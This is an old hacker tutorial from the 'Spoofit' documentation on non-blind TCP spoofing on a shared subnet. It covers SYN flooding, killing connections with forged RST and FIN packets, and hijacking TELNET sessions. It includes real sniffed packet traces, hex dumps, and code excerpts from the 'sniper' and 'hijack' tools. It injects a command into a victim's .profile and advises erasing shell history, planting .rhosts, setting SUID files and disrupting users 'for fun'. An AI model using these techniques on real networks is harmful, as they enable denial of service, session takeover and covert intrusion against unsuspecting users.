Back to the Spoofit Page
PART I: Simple Spoofing (Non Blind)
4. Non-blind spoofing
---------------------
4.1 Know what you are doing
---------------------------
The concept of non-blind spoofing (NBS further in this doc) is pretty
simple. Because packets travel within your reach, you can get the current
sequence and acknowledge (SEQ/ACK further in this doc) numbers on the
connection.
NBS is thus a very easy and accurate method of attack, but limited to
connections going over your subnet.
In spoofing documentation these attacks are sometimes ommited, because
they are mostly 'denial-of-service' attacks, or because people don't
realise the advantage a spoof (in particulary a hijack) can have above
simple password sniffing.
Spoofing in generally is refered to as a verry high level of attack. This
refers to blind spoofing (BlS further in this doc), because NBS is
kidstuff for a competent coder.
4.2 SYN flooding
----------------
Thoroughly discussed in 'Phrack Volume Seven, Issue Forty-Eight, File 13 of
18'. I won't waste much time on it.
Setup:
host A <-----][----------X---------------> host B
|
host S <-----------------/
Concept:
Host S impersonates SYN (connection init) coming from host A, to host B.
Host A should be unreachable (e.g. turned off, non existant,...).
B sends out the second packet of the 3 way TCP handshake. Host B will now
wait for response of host A.
If host A is reachable it will tell host B (with a reset: RST) that it DID NOT
inititate a connection, and thus host B received a bogus packet. (In that case
host B will ingnore the SYN, and *normally* nothing will happen)
So if A is unreachable, B will wait for response some time.
When doing multiple attacks, the backlog of host B is going to be exceeded
and host B will not except new connections (read on TCP bugs for
additional features ;) for some time.
4.3 Connection Killing
----------------------
Setup:
host A <------X------------------------->host B
| A,B have a TCP connection running
host S <------/ A,S on same subnet
(setup is the same in both cases)
Use:
Clearing mudders of your net, annoying that dude typing an important
paper, etc... plain fun.
4.3.1 Using reset (RST)
-----------------------
Concept:
TCP packets have flags which indicate the status of the packet, like RST.
That is a flag used to reset a connection. To be accepted, only the
sequence number has to be correct (there is no ACK in a RST packet).
So we are going to wait for packets in a connection between A and B.
Assume we wait for packets to A. We will calculate (from B's packets)
the sequence number for A's packets (from B's ACK's), and fire a bogus RST
packet from S (faking to be A) to B.
An actual attack:
(These are real sniffed packets, although IP numbers of hosts were changed)
host A : 166.66.66.1
host B : 111.11.11.11
(S on same subnet as A)
(This is a good example of how things not always go as you want, see
below for a solution)
1) connection running...
we wait for a packet to get current SEQ/ACK (A->B)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23
SEQ (hex): 57E1F2A6 ACK (hex): B8BD7679
FLAGS: -AP--- Window: 3400
(data removed because irrelevant, 2 bytes data)
2) This is the ACK of it + included data (witch causes SEQ number to
change, and thus messing up our scheme, because this came very fast.)
(B->A)
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
SEQ (hex): B8BD7679 ACK (hex): 57E1F2A8
FLAGS: -AP--- Window: 2238
(data removed because irrelevant, 2 bytes data)
3) ACK of it. (A->B)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23
SEQ (hex): 57E1F2A8 ACK (hex): B8BD767B
FLAGS: -A---- Window: 3400
(data removed because irrelevant)
4) further data (B->A)
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
SEQ (hex): B8BD767B ACK (hex): 57E1F2A8
FLAGS: -AP--- Window: 2238
(data removed because irrelevant)
5) ACK of it (A->B)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23
SEQ (hex): 57E1F2A8 ACK (hex): B8BD7691
FLAGS: -A---- Window: 3400
6) Now we get 2 RST packets. How do you explain that? Well, the first reset
packet has been buffered somewhere on our system, because the ethernet
segment was busy when we wanted to send it. This is the 'unexpected
thing' I discussed above, here we are lucky, the data stream cooled down
so fast.
When it doesn't cool down so fast, we could miss our RST (or the
connection will be killed a little later then when we wanted), you'll see
some idea's on how to fix that problem.
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
SEQ (hex): B8BD7679 FLAGS: ---R--
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
SEQ (hex): B8BD7691 FLAGS: ---R--
(This was the packet that killed the connection)
Discussion of the program:
The discussion here is a bit weird , that is because 'sniper-rst.c' is
not designed to be an optimal killer, merly to be an example.
We have the problem of speed here. We miss some packets what causes those
resends. So we would design a better 'sniper' if we do the following:
- use blocking IO (not necessarilly, because the RST killer would
loose some of it's beauty (looping), this is dealt
with in the FIN killer example. Blocking is a
little faster when a lot of packets come after
each other.)
- multi-packet firing... fire more packets with incremented SEQ.
(this is commented in the source)
- waiting for a pure ACK packet (no data), because otherwise you
risk to much of getting mid transmission and not being fast enough.
(disadvantage is the 'waiting period' before the connection is
killed)
NOTE these examples were done on non-loaded networks, with non-loaded
servers, what makes it a worst case scenario for speed problems.
4.3.2 Closing a connection (FIN)
--------------------------------
Concept:
An other flag is FIN and says: "no more data from sender".
This flag is used when closing a connection down the normal legit way. So
if there was a way to make a packet that is accepted by one of the two
hosts, this host would believe the 'sender' didn't have any data left.
Following (real) packets would be ignored as they are considered bogus.
That's it, because we can sniff the current SEQ/ACK of the connection we
can pretend to be either host A or B, and provide the other host with
CORRECT packetinformation, and an evil FIN flag.
The beauty of it all is, that after a FIN is send the other host always
replies with one if it is accepted, so we have a way to verify our
killing, and can be 100% sure of success (if for some reason we missed a
SEQ or ACK, we can just resend).
RST killing is more popular and is prefered, but I've put this in as an
example, and I like it myself.
An actual attack:
(These are real sniffed packets, although IP numbers of hosts were changed)
host A : 166.66.66.1
host B : 111.11.11.11
(S on same subnet as A)
1) connection is running....
sniper is started on host S as 'sniper-fin 166.66.66.1 23 111.11.11.11 1072'
and waits for a packet to take action (we need to get SEQ/ACK)
(mind you switching host A and B would be the same, only S would be
impersonating A instead of B)
suddenly a packet arrives... (A->B)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
SEQ (hex): 19C6B98B ACK (hex): 69C5473E
FLAGS: -AP--- Window: 3400
Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
45 E 00 . 00 . 2A * 30 0 5E ^ 40 @ 00 . 40 @ 06 . 5E ^ AD . 9D . C1 . 45 E 33 3
9D . C1 . 2B + 0D . 00 . 17 . 04 . 30 0 19 . C6 . B9 . 8B . 69 i C5 . 47 G 3E >
50 P 18 . 34 4 00 . 3A : 61 a 00 . 00 . 0D . 0A .
~~~~~~~~~ > 2 data bytes
2) sniper detected it, and sends a bogus packet. (S as B -> A)
We calculate our SEQ as: ACK of (A->B) packet
We calculate our ACK as: SEQ of (A->B) packet + datalength of that packet
(19C6B98B + 2 = 19C6B98D)
(so we tell A, we received the last packet, and will not transmit
further data)
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.1072-166.66.66.1.23
SEQ (hex): 69C5473E ACK (hex): 19C6B98D
FLAGS: -A---F Window: 7C00
(data removed because irrelevant)
3) host A now says: 'okay, you end the session, so here is my last data'
(A->B)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
SEQ (hex): 19C6B98D ACK (hex): 69C5473E
FLAGS: -AP--- Window: 3400
(data removed because irrelevant)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
SEQ (hex): 19C6B998 ACK (hex): 69C5473F
FLAGS: -A---- Window: 3400
(data removed because irrelevant)
4) host A now has flushed its buffer and on his turn FIN's the connection.
(A->B)
sniper, intercepts this packet and now knows the hosts fell for the
spoof and the killing was a success!
(host A will no longer accept any data)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
SEQ (hex): 19C6B998 ACK (hex): 69C5473F
FLAGS: -A---F Window: 3400
(data removed because irrelevant)
5) We impersonated B, making A believe we had no further data. But B
doesn't know that and continues to send packets.
(B->A)
host A has that connection closed, and thus thinks the real packets of
B are spoofed (or at least bogus)! So host A sends some reset packets
(RST).
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.1072-166.66.66.1.23
SEQ (hex): 69C5473E ACK (hex): 19C6B98D
FLAGS: -A---- Window: 3750
(data removed because irrelevant)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
SEQ (hex): 19C6B98D FLAGS: ---R--
(data removed because irrelevant)
6) This goes on for a couple of packets.
Discussion of the program (numbers correspond with those of 'An Actual
Attack'):
1) stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,10);
if(stat==-1) {printf("Connection 10 secs idle... timeout.\n");exit(1);}
We use wait_packet on a non blocking socket. This way we can enable a
10 seconds timeout. This functions returns when the correct packet
has been delivered (or timeout).
2) sp_seq=pinfo.ack;
sp_ack=pinfo.seq+pinfo.datalen;
transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P,
sp_seq,sp_ack,ACK|FIN);
We calculate a spoofed SEQ/ACK, and fire off a fake FIN packet. As we
don't send any data with it, our buffer is set to NULL and datalength
to 0.
NOTE together with FIN, you need to enable ACK.
3) N/A
4) stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,FIN,5);
if(stat>=0)
{printf("Killed the connection...\n");
exit(0);}
We wait for a FIN packet (note the FIN in wait_packet). We use a 5
sec. timeout, if the function returns and stat>=0 (-1 on timeout), we
know our attempt was successfull.
5) N/A
6) N/A
NOTE We can have the same problem here as with the RST killer. But didn't
have it here, because the packet we responded upon was the end of a
data stream (in fact it was an echo from a shell command)
4.3.3 Improving
---------------
Except from multipacket firing, it is advised to launch 2 attacks (one in
both ways). This illiminates one side oriented connections to be handled
optimally. I think of things like downloading data, which is a one way
data-flow, it is much easier sending a RST from the (spoofed) receiver to
the sender, then the other way around.
Those 2 attacks could both impersonate host A and B, and thus giving is 4
times more chance of a succesfull kill.
I'll leave further experimenting up to you (use your imagination to handle
different situations).
4.4 Connection Hijacking
------------------------
Setup:
host A <------X------------------------->host B
| A,B have a TCP connection running (TELNET)
host S <------/ A,S on same subnet
Concept:
(suppose a TELNET from A (client) to B (server))
TCP separates good and bogus packets by their SEQ/ACK numbers i.e. B
trusts the packets from A because of its correct SEQ/ACK numbers.
So if there was a way to mess up A's SEQ/ACK, B would stop believing A's
real packets.
We could then impersonate to be A, but using correct SEQ/ACK numbers
(that is numbers correct for B).
We would now have taken over the connection (host A is confused, B thinks
nothings wrong (almost correct, see 'actual attack'), and S sends
'correct' data to B).
This is called 'Hijacking' a connection. (generally hijacking a TELNET session,
but same could be done woth FTP, RLOGIN, etc...)
How could we mess up A's SEQ/ACK numbers? Well by simply inserting a data
packet into the stream at the right time (S as A->B), the server B would
accept this data, and update ACK numbers, A would continue to send
it's old SEQ numbers, as it's unaware of our spoofed data.
Use:
I allready hear you wiseguys yelling: "Hey dude, why hijack a connection
if you can sniff those packets anyway??"
Well, anybody heared of One Time Passwords, Secure Key?? Case closed....
(S/Key: server challenges client, client and server calculate a code from
the challenge and password, and compare that code. The password itself is
never send on the cable, so you can't sniff sh!t).
(OTP: server has a list of passwords, once one is used, it is destroyed,
so sniffing gets you a password that has 'just' expired ;)
(ALL types of identification that happen at connection (encrypted or not,
trusted or not), and don't use encrypted data transfer, are vulnerable to
'hijacking'.)
An actual attack:
(These are real sniffed packets, although IP numbers of hosts were changed)
(suppose a TELNET from A (client) to B (server))
host A : 166.66.66.1
host B : 111.11.11.11
(S on same subnet as A)
1) connection running...
we look with sniffit, and see he's busy in a shell, we start 'hijack'
on host S as 'hijack 166.66.66.1 2035 111.11.11.11'
a packet containing from (A->B) is detected... hijack takes action...
(A->B)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
SEQ (hex): 5C8223EA ACK (hex): C34A67F6
FLAGS: -AP--- Window: 7C00
Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
45 E 00 . 00 . 29 ) CA . F3 . 40 @ 00 . 40 @ 06 . C5 . 0E . 9D . C1 . 45 E 3F ?
9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # EA . C3 . 4A J 67 g F6 .
50 P 18 . 7C | 00 . 6D m 29 ) 00 . 00 . 6C l
~~~~
2) host B (server) echo's that databyte (typing 'l' in a bash shell!!!)
(you gotta know what you are doing)
(B->A)
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
SEQ (hex): C34A67F6 ACK (hex): 5C8223EB
FLAGS: -AP--- Window: 2238
Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
45 E 00 . 00 . 29 ) B5 . BD . 40 @ 00 . FC . 06 . 1E . 44 D 9D . C1 . 2A * 0B .
9D . C1 . 45 E 3F ? 00 . 17 . 04 . 10 . C3 . 4A J 67 g F6 . 5C \ 82 . 23 # EB .
50 P 18 . 22 " 38 8 C6 . F0 . 00 . 00 . 6C l
~~~~
3) A simple ACK from host A to B responding to that echo. Because we know
this can come, and we know a simple ACK doesn't contain data, we don't
need this for SEQ/ACK calculation.
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
SEQ (hex): 5C8223EB ACK (hex): C34A67F7
FLAGS: -A---- Window: 7C00
(data removed because irrelevant)
4) Now we impersonate further data (following packet 1). (S as A -> B)
We calculate SEQ/ACK out of packet 1, NOT out of the 'echo' from B,
because we have to be as fast as possible, and packet 2 could be slow.
We send some backspaces and some enters. To clean up the command line.
We will probably still get some error message back from the shell.
But we handle that too! (see sourcecode)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
SEQ (hex): 5C8223EB ACK (hex): C34A67F6
FLAGS: -AP--- Window: 7C00
Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
45 E 00 . 00 . 32 2 31 1 01 . 00 . 00 . 45 E 06 . 99 . F8 . 9D . C1 . 45 E 3F ?
9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # EB . C3 . 4A J 67 g F6 .
50 P 18 . 7C | 00 . AE . F5 . 00 . 00 . 08 . 08 . 08 . 08 . 08 . 08 . 08 . 08 .
0A . 0A .
5) This is the echo of our spoofed data. Look at ACK. (B->A)
5C8223F5 = 5C8223EB + 0A (this is how we detect that the spoof was a
success)
NOTE that at this point the connection is ours, and A's SEQ/ACK
numbers are completely f#cked up according to B.
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
SEQ (hex): C34A67F7 ACK (hex): 5C8223F5
FLAGS: -AP--- Window: 2238
Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
45 E 00 . 00 . 3C < B5 . BE . 40 @ 00 . FC . 06 . 1E . 30 0 9D . C1 . 2A * 0B .
9D . C1 . 45 E 3F ? 00 . 17 . 04 . 10 . C3 . 4A J 67 g F7 . 5C \ 82 . 23 # F5 .
50 P 18 . 22 " 38 8 26 & 7C | 00 . 00 . 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H
5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 0D . 0A . 0D . 0A .
6) Hijack will now try to get on track of SEQ/ACK numbers again, to send
the data we want to be executed.
NOTE each time a packet 'out of numbering' arrives the host should
answer with correct SEQ/ACK, this provides us with the certainty
that a lot of packets are going to be send with correct (and not
changing) SEQ/ACK nrs. (this is where the mechanism of getting our
numbers back straight is based upon)
NOTE it's at this point the real TELNET client's session hangs, most
people ignore this and re-login after a few secs, accepting the
accident as Murphy's law.
(Well it *can* happen without any spoofing involved)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
SEQ (hex): 5C8223EB ACK (hex): C34A67F7
FLAGS: -AP--- Window: 7C00
(data removed because irrelevant)
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
SEQ (hex): C34A680B ACK (hex): 5C8223F5
FLAGS: -A---- Window: 2238
(data removed because irrelevant)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-157.193.42.11.23
SEQ (hex): 5C8223EB ACK (hex): C34A67F7
FLAGS: -AP--- Window: 7C00
(data removed because irrelevant)
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
SEQ (hex): C34A680B ACK (hex): 5C8223F5
FLAGS: -A---- Window: 2238
(data removed because irrelevant)
7) We are back on track (or at least hijack is, because this is going
very fast). And we fire off our faked bash command.
echo "echo HACKED" >> $HOME/.profile<ENTER>
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
SEQ (hex): 5C8223F5 ACK (hex): C34A680B
FLAGS: -AP--- Window: 7C00
Packet ID (from_IP.port-to_IP.port): 166.66.66.1-111.11.11.11.23
45 E 00 . 00 . 4D M 31 1 01 . 00 . 00 . 45 E 06 . 99 . DD . 9D . C1 . 45 E 3F ?
9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # F5 . C3 . 4A J 68 h 0B .
50 P 18 . 7C | 00 . 5A Z B6 . 00 . 00 . 65 e 63 c 68 h 6F o 20 22 " 65 e 63 c
68 h 6F o 20 48 H 41 A 43 C 4B K 45 E 44 D 22 " 20 3E > 3E > 24 $ 48 H 4F O
4D M 45 E 2F / 2E . 70 p 72 r 6F o 66 f 69 i 6C l 65 e 0A . 00 .
8) now we wait for this data to be confirmed.
ACK = 5C8223F5 + 025 (=37 bytes)
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
SEQ (hex): C34A680B ACK (hex): 5C82241A
FLAGS: -AP--- Window: 2238
Packet ID (from_IP.port-to_IP.port): 157.193.42.11.23-157.193.69.63.1040
(data removed because irrelevant)
9) The connection runs on. Now you can execute more commands (just stay
on track of SEQ/ACK), and even finnish the connection (with the same
mechanism of sniper, or with sniper itself... here FIN is recommended).
NOTE: here it is important to be in a shell. But if you have been
watching someone, and you notice he's always directly going to
'pine' and you can't get inbetween on time.
NO PROBS.... just make a cleanup string that cleans up
'pine' and puts you back in the shell. (some control chars,
hotkeys, whatever....)
NOTE: if you clean up the .sh_history of .bash_history (whatever) this
attack is one of the nicest there is. Another advantage above
sniffing.
NOTE: Noone says you have to make a .rhosts file (rlogin and
family might be disabled), you can change permissions, put
stuff SUID, put it public, install stuff, mail, etc..
Discussion of the program (numbers correspond with those of 'An Actual
Attack'):
1) wait_packet(fd_receive,&attack_info,CLIENT, CLIENT_P, SERVER, 23,ACK|PSH,0);
Waiting for actual data (PSH is always used for packets containing
data in interactive services like TELNET)
2) N/A
3) N/A
4) sp_seq=attack_info.seq+attack_info.datalen;
sp_ack=attack_info.ack;
transmit_TCP(fd_send, to_data,0,0,sizeof(to_data),CLIENT, CLIENT_P, SERVER,
23,sp_seq,sp_ack,ACK|PSH);
We recalculate the sequence number (using SEQ and datalength of packet 1)
an we send a spoofed packet with ACK and PSH flag, containing the
cleanup data in to_data.
5) while(count<5)
{
wait_packet(fd_receive, &attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
if(attack_info.ack==sp_seq+sizeof(to_data))
count=PERSONAL_TOUCH;
else count++;
};
We wait for a confirmation that our spoofed sequence is accepted. We
expect a packet with an ACK set (PSH or not). It should come within 5
packets, we use this limit, because we should be able to handle some
previous ACK packets!
NOTE we don't check SEQ nrs, because we have no clue of what they are
going to be (data might have been send our way, or not).
6) while(count<10)
{
old_seq=serv_seq;
old_ack=serv_ack;
wait_packet(fd_receive,&attack_info,SERVER, 23, CLIENT, CLIENT_P,
ACK,0);
if(attack_info.datalen==0)
{
serv_seq=attack_info.seq+attack_info.datalen;
serv_ack=attack_info.ack;
if( (old_seq==serv_seq)&&(serv_ack==old_ack) )
count=PERSONAL_TOUCH;
else count++;
}
};
To get back on track, we try to receive 2 ACK packets without data
with the same SEQ/ACK. We know enough packets will be send as a
response to incorrect packets from the confused host A.
This is how we get back on track.
NOTE In a case where A completely gave up, simple spoof a packet with
incorrect SEQ/ACK to get the correct numbers back.
7) transmit_TCP(fd_send, evil_data,0,0,sizeof(evil_data),CLIENT,CLIENT_P,
SERVER,23,serv_ack,serv_seq,ACK|PSH);
Pretty clear....
8) while(count<5)
{
wait_packet(fd_receive,&attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
if(attack_info.ack==serv_ack+sizeof(evil_data))
count=PERSONAL_TOUCH;
else count++;
};
and again waiting for confirmation.
NOTE after the above attack, hijack had produced the following output:
Starting Hijacking demo - Brecht Claerhout 1996
-----------------------------------------------
Takeover phase 1: Stealing connection.
Sending Spoofed clean-up data...
Waiting for spoof to be confirmed...
Phase 1 ended.
Takeover phase 2: Getting on track with SEQ/ACK's again
Server SEQ: C34A680B (hex) ACK: 5C8223F5 (hex)
Phase 2 ended.
Takeover phase 3: Sending MY data.
Sending evil data.
Waiting for evil data to be confirmed...
Phase 3 ended.
4.5 Other
---------
This list is far from complete, I'm sure you can think of other nice things
to do with this information, think, experiment and code!
Brecht Claerhout:
coder@succeed.net